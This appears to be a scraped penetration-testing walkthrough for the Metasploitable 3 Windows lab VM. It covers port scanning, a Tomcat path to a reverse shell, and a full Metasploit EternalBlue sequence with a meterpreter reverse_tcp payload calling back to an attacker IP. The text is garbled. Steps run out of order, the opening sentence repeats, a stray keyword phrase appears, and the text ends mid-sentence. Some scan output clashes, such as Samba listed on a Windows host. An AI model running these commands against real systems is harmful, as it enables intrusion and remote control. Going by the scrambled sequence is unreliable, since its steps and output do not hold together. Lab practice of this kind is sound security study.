Metasploitable 3 Windows Walkthrough May 2026
Before we type a single exploit, we need the environment stable.
If EternalBlue fails, Tomcat is your friend.
Set up listener:
nc -lvnp 4444
Trigger – visit http://192.168.56.103:80/shell/ – you now have a reverse shell as NT AUTHORITY\NETWORK SERVICE.
Check vulnerability:
nmap --script smb-vuln-ms17-010 -p445 192.168.56.105
Exploit using Metasploit:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.10 # Kali IP
run
ping -c 2 192.168.56.103
nmap -sS -sV -O -p- -T4 192.168.56.103
Key findings (typical for Metasploitable 3): metasploitable 3 windows walkthrough
PORT STATE SERVICE VERSION
80/tcp open http Apache Tomcat 6.0.20
135/tcp open msrpc Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open microsoft-ds Windows 2008 R2
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
3306/tcp open mysql MySQL 5.1.66
3389/tcp open tcpwrapped RDP
47001/tcp open http Microsoft HTTPAPI
8182/tcp open unknown
Because Metasploitable 3 has weak credentials, we can bypass complex exploitation entirely.
We have multiple paths to gain an initial foothold. Let's explore the most common ones. Before we type a single exploit, we need